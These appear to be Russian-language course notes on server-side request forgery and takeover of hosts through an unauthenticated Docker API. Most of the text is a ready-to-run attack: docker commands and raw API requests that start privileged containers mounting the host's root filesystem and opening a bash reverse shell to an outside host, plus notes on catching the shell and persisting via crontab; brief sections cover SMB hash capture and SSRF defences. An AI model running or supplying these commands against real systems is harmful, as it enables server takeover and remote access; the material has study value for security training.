Запускаем привелигированный контейнер с нашим имаджем
docker -H 127.0.0.1:2375 run --privileged --net host -v /:/mnt -e host=psorokin.ru -e port=3333 cth123123/docker_bomb
Или используем стандарный image с прописанной командой:
docker -H 127.0.0.1:2375 run --rm --privileged --net host -v /:/mnt ubuntu bash -c '/bin/bash -i &>/dev/tcp/csr8.psorokin.ru/3333 <&1'
## SSRF - атакуем докер
docker -H 127.0.0.1:2376 run --privileged --net=host -v /:/mnt ubuntu /bin/bash -c '/bin/bash -i &>/dev/tcp/csr8.psorokin.ru/3344 <&1'

```
[19:48] Павел Сорокин
POST /v1.41/containers/create HTTP/1.1
Host: 127.0.0.1:2376
User-Agent: Docker-Client/20.10.12 (linux)
Content-Length: 1596
Content-Type: application/json
{"Hostname":"","Domainname":"","User":"","AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":null,"Cmd":["/bin/bash","-c","/bin/bash -i &>/dev/tcp/csr8.psorokin.ru/3344 <&1"],"Image":"ubuntu","Volumes":{},"WorkingDir":"","Entrypoint":null,"OnBuild":null,"Labels":{},"HostConfig":{"Binds":["/:/mnt"],"ContainerIDFile":"","LogConfig":{"Type":"","Config":{}},"NetworkMode":"host","PortBindings":{},"RestartPolicy":{"Name":"no","MaximumRetryCount":0},"AutoRemove":false,"VolumeDriver":"","VolumesFrom":null,"CapAdd":null,"CapDrop":null,"CgroupnsMode":"","Dns":[],"DnsOptions":[],"DnsSearch":[],"ExtraHosts":null,"GroupAdd":null,"IpcMode":"","Cgroup":"","Links":null,"OomScoreAdj":0,"PidMode":"","Privileged":true,"PublishAllPorts":false,"ReadonlyRootfs":false,"SecurityOpt":null,"UTSMode":"","UsernsMode":"","ShmSize":0,"ConsoleSize":[0,0],"Isolation":"","CpuShares":0,"Memory":0,"NanoCpus":0,"CgroupParent":"","BlkioWeight":0,"BlkioWeightDevice":[],"BlkioDeviceReadBps":null,"BlkioDeviceWriteBps":null,"BlkioDeviceReadIOps":null,"BlkioDeviceWriteIOps":null,"CpuPeriod":0,"CpuQuota":0,"CpuRealtimePeriod":0,"CpuRealtimeRuntime":0,"CpusetCpus":"","CpusetMems":"","Devices":[],"DeviceCgroupRules":null,"DeviceRequests":null,"KernelMemory":0,"KernelMemoryTCP":0,"MemoryReservation":0,"MemorySwap":0,"MemorySwappiness":-1,"OomKillDisable":false,"PidsLimit":0,"Ulimits":null,"CpuCount":0,"CpuPercent":0,"IOMaximumIOps":0,"IOMaximumBandwidth":0,"MaskedPaths":null,"ReadonlyPaths":null},"NetworkingConfig":{"EndpointsConfig":{}},"Platform":null}
[19:48] Павел Сорокин
POST /v1.41/containers/5c778ec1d3dd4179b8e17f59717f2ce0f55d3d8d9979e827ff0433c06da644f2/start HTTP/1.1
Host: 127.0.0.1:2376
User-Agent: Docker-Client/20.10.12 (linux)
Content-Length: 0
Content-Type: text/plain
```
Повторяем все запросы:
скачать image
создать контейнер
стартануть контейнер
Скачать image:
POST /v1.41/images/create?fromImage=cth123123%2Fdocker_bomb&tag=latest HTTP/1.1
Host: 127.0.0.1:2376
User-Agent: Docker-Client/20.10.12 (linux)
Content-Length: 0
Content-Type: text/plain
Создать контейнер:
POST /v1.41/containers/create HTTP/1.1
Host: 127.0.0.1:2375
User-Agent: Docker-Client/20.10.8 (darwin)
Content-Length: 1574
Content-Type: application/json
{"Hostname":"","Domainname":"","User":"","AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["port=3333","host=psorokin.ru"],"Cmd":null,"Image":"cth123123/docker_bomb","Volumes":{},"WorkingDir":"","Entrypoint":null,"OnBuild":null,"Labels":{},"HostConfig":{"Binds":["/:/mnt"],"ContainerIDFile":"","LogConfig":{"Type":"","Config":{}},"NetworkMode":"host","PortBindings":{},"RestartPolicy":{"Name":"no","MaximumRetryCount":0},"AutoRemove":false,"VolumeDriver":"","VolumesFrom":null,"CapAdd":null,"CapDrop":null,"CgroupnsMode":"","Dns":[],"DnsOptions":[],"DnsSearch":[],"ExtraHosts":null,"GroupAdd":null,"IpcMode":"","Cgroup":"","Links":null,"OomScoreAdj":0,"PidMode":"","Privileged":true,"PublishAllPorts":false,"ReadonlyRootfs":false,"SecurityOpt":null,"UTSMode":"","UsernsMode":"","ShmSize":0,"ConsoleSize":[0,0],"Isolation":"","CpuShares":0,"Memory":0,"NanoCpus":0,"CgroupParent":"","BlkioWeight":0,"BlkioWeightDevice":[],"BlkioDeviceReadBps":null,"BlkioDeviceWriteBps":null,"BlkioDeviceReadIOps":null,"BlkioDeviceWriteIOps":null,"CpuPeriod":0,"CpuQuota":0,"CpuRealtimePeriod":0,"CpuRealtimeRuntime":0,"CpusetCpus":"","CpusetMems":"","Devices":[],"DeviceCgroupRules":null,"DeviceRequests":null,"KernelMemory":0,"KernelMemoryTCP":0,"MemoryReservation":0,"MemorySwap":0,"MemorySwappiness":-1,"OomKillDisable":false,"PidsLimit":0,"Ulimits":null,"CpuCount":0,"CpuPercent":0,"IOMaximumIOps":0,"IOMaximumBandwidth":0,"MaskedPaths":null,"ReadonlyPaths":null},"NetworkingConfig":{"EndpointsConfig":{}},"Platform":null}
Запустить контейнер:
POST /v1.41/containers/7053302d715c66e584051a4d9977d16df62451b5dd339f8923dfce3bcb5f1dab/start HTTP/1.1
Host: 127.0.0.1:2375
User-Agent: Docker-Client/20.10.8 (darwin)
Content-Length: 0
Content-Type: text/plain
**Докер открывается на порту 2375/2376**
Если докер доступен без аутентификации - это позволяет захватить сервер, через SSRF. Если находимся в одной сети с машиной, на которой поднят докер клиент - то обращение к докеру будет такое
- ssh docker -H 127.0.0.1:2375 (обращение к докеру по сети )
**Удаленный запрос к докер сокету**
Залистим какие контейнеры есть.
GET /v1.41/containers/json - залистим какие контейнеры есть
GET /v1.41/images/json - какие имаджи были скачаны
![Uploading file..._0wb6qmzal]()

тут есть имедж убунты.
Перехватываем трафик:
socat - перенаправляет трафик, выступает как докер сокет.

Делаем запуск привилигированного контейнера с реверс шеллом

- docker -H 127.0.0.1:2376 run --privileged --net=host -v /:/mnt ubuntu /bin/bash -c '/bin/bash -i &>/dev/tcp/csr8.psorokin.ru/3344 <&1'

контейнер создался и выдал его идентификатор.
Старт контейнера

И ловим шелл неткатом.
**Закрепляемся** через crontab

## SSRF - материалы
#ssrf_cheat_sheet
**SSRF bible** https://cheatsheetseries.owasp.org/assets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet_SSRF_Bible.pdf
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
A New Era of SSRF (video)
A New Era of SSRF (slides)
## SSRF - Blind
SSRF называется слепым, если мы не видим ответ от сервера.
Сначала сканим во внутренней сети порты. Потом засылаем запросы - ниже по ссылке. Если на запрос получили ответ, то это соответсвующая атака.
https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/
## SSRF - Windows
Атакующий может заставить веб-сервер перейти по ссылке по протоколу SMB или по HTTP и затребовать SMB-аутентификацию. ( Если сервис крутится под локальной системой, то это дает захват машины)
В результате:
- хэш netntlm машины
- SMB-relay
## SSRF - Защита
- По возможности избегайте необходимости запросов по контролируемым пользователем координатам;
- Если все же программируем, то:
Разберите URL на части, далее используйте только эти части
Разрезолвите домен, далее используйте IP, не используйте домен
Подставьте нужный домен в заголовок Host при запросе
## SSRF - Hardening - защита
- Создайте специальный изолированный контейнер, который не будет иметь доступ во внутреннюю сеть и поднимите на нем микросервис
- Отключите ненужные вам схемы
Отправка почты с SSRF

Register - зарегестрироваться а потом войти в приложение (несколько запросов)
Лекции 12-16
https://hackmd.io/@Mart/r1BJz2jys